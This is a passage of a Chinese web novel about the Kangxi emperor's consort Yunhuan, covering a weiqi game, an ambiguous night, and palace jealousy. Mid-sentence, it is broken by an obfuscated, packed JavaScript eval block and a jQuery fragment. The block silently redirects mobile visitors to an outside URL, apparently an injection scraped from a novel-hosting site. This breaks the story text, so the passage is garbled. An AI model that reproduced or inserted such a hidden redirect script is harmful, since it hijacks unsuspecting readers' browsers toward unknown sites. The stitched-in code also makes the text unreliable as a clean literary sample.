康熙自顾自地入座,浑没把自己当外人,“怎的,不欢迎朕?”
“怎会,妾只是有点意外。”太吃惊了,云欢一时竟忘了撒谎,“还以为您会去皇贵妃娘娘处呢。”
但,也并非不能理解,佟佳氏外表尽管成熟丰艳,心智却仍是个没长大的孩子,尤其在她表哥面前。
受了这样大的委屈,更得哭哭啼啼求安慰,跟小时候一般撒娇撒痴要表哥抱,殊不知表哥怕是抱不动呢——还真不是云欢猜的,佟佳氏最喜欢拿儿时的青梅竹马之情来炫耀,怕是宜妃也有点无语,十几年前的回忆记得这样清楚,是真没别的好说了吧。
谁会把扮家家酒时的戏言当真?
康熙忍俊不禁,这厮贫嘴薄舌,句句倒说在点上,佟佳氏与他虽是中表之亲,那股粘人劲也实在肉麻。
这回的事的确太子有错在先,不该由着赫舍里家戳弄,可太子毕竟只是个孩子,佟佳氏却有些反应过度。
表妹非逼着他处死那名谙达,怕是要凉了太子的心,到底是从小长大的玩伴,依康熙的意思,打上几板子,再撵出宫也就是了。
云欢含蓄的瞥他一眼,和稀泥的后果是两边都不满意,俗话说清官难断家务事,难怪皇帝要焦头烂额。
康熙也的确是到贵妃处躲懒,被她戳穿也不恼,反微微一笑,“如何,你不想留朕?”
云欢自不会将贵客拒之门外,御驾亲临该荣幸之至才对。
可皇帝找她消闲解闷,她觉得自己做不到,毕竟她也不是会哄人开心的性子啊。
那你可就太过谦了,康熙心道。
嘴上早就想好了借口,“与朕对弈两局,如何?”
云欢却之不恭,可她只会点皮毛,放业余里还有点杀伤力,在康熙这等棋艺高手面前就不够看了。
此番较量略显轻松,康熙甚为惊异,贵妃几时竟学会了藏拙?须知钮祜禄氏精通六艺,每每恨不得大展奇才将他压倒,康熙身为人君都颇汗颜呢。
认准了贵妃存心相让,康熙反来了精神,愈发龙行虎步,要激起对面斗志来。
云欢……云欢被杀得大败亏输,片甲不留。
她不无懊恼,下个棋而已,用得着这么较真吗?又不是行军打仗。
康熙摸摸鼻子,早知道该留一手,让贵妃输得太难堪了。
遂温声道,“是朕不好,你想要什么补偿?”
肉偿行吗?呵呵开个玩笑。云欢想了想,她很想吃那种桂花黑芝麻馅的大元宵,只因时令已过,不好再劳烦御膳房。
用皇帝的名义就无妨了。
康熙自无意见,大手一挥吩咐下去。
奈何这玩意就图个新鲜别致,给皇帝做的也不敢潦草,梁九功遂紧赶慢赶请了专攻元宵的大师傅,从和面,搓面再到调馅煮制,莫不尽善尽美,精益求精。
等两碗热腾腾翻滚着的元宵送来,云欢已经香梦沉酣——本来白天祭陵就累,适才又耗费了太多脑力,眼皮实在撑不住了。
次日醒来,才想起漏掉的宵夜。
雪娟莞尔,“您别担心,都备着呢,想什么时候点都行。”
御膳房自不会只做一份,这种天气多放几天也坏不了。
云欢后知后觉注意到雪娟暧昧的眼色,以及略显凌乱的床榻,甚至肩膀上还影影绰绰有两点红痕。
她这是……跟康熙睡了?
不会,那种事当事人怎可能毫无察觉,就算康师傅细才如针吧,被针扎一下也会疼哩。
也不好直白地问雪娟,人家又没钻进帐子里看。
云欢只能装出若无其事的模样,反正吃亏的不是她,康熙徒然赏她个宠妃的名头,她自甘领受。
佟佳氏那头怎么想就不得而知了。
这女子的心眼比针尖还小,怕是不易办呢。
果不其然,才吃了碗香喷喷的芝麻大元宵,皇贵妃那头便来了传召。
外头不比宫里,是不必严格遵守晨昏定省的,皇贵妃无疑是气昏头了。
云欢却无所畏惧,好整以暇梳头洗脸,换了身最华丽的旗装,才姗姗来到皇贵妃的住所。
还不待佟佳
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446801|185133||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
氏发难,她便一把鼻涕一把泪哭诉起来,万岁爷昨晚不知抽了什么风,喝得醉醺醺的来她殿里,酒气冲天不说,害她听了半晚上的梦话,甚至她很喜欢的两个古董摆件也被摔坏了。
佟佳氏先惊后喜,喝醉了的人是没法行房的,可见表哥并未受钮祜禄氏引诱——引诱了也不会成功。
至于皇帝为何喝得酩酊大醉,可不正是心疼她么?太子毕竟乃元后所出,唯一正统,半壁朝臣都站他那边,表哥也不可能为这点小事责罚,显得小题大做。
正因有愧,才不敢来见她,才选择借酒浇愁。
显然,这些都是佟佳氏早就想好的理由,因此极快、极容易的把自己给说服了。
还赏了云欢几件首饰当补偿,表哥的债也等同于他的债,她自然不会抵赖。
云欢目瞪口呆,她算是见识到恋爱脑的女人有多可怕了。
之后,太子在乳母的带领下来给皇贵妃请了顿安,一场风波就此消弭于无形。
云欢因为肩颈上的红痕,看康熙总是面露怀疑,莫非真趁自己熟睡的时候毛手毛脚?忒不厚道!
康熙视若无睹,难道要告诉她自己是在帮她打蚊子?说出去也没人信啊。
谒陵一行顺利结束,云欢这位贵妃也得以名正言顺。此前她虽顶着先皇后胞妹的名头进宫,多少有点走后门的嫌疑,难以服众。
如今却是在天地祖宗面前过了明路的了,既然祖宗们没跳出来说她干的不好,那她这位贵妃就是实至名归。
——不服憋着。
康熙随后的举动也印证了这点。云欢所得的赏赐几与皇贵妃平齐,差距微小到可以忽略不计。
佟佳氏觉着康熙是顾着赫舍里家面子,毕竟才压着太子来自己跟前低头,再大肆封赏,东宫脸面上便难堪了。
她怎会为区区金银计较。
宜妃看贵妃则是背后发凉,都说吃一堑长一智,这位简直脱胎换骨,不但得了皇帝的宠,连皇贵妃也被她哄傻子似的,拿捏得团团转。
别是什么邪魔妖道上身了吧?